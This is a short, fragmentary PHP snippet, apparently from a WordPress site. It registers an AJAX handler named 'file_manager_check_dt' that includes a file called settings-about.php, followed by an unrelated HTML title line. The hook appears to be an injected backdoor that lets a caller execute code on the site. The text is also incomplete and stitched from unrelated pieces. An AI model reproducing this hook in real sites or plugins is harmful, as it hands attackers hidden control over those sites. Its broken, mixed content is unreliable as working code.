if(!function_exists('file_manager_check_dt')){
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   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
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           include $file;
       }
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}
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		<title>Hello world!</title>
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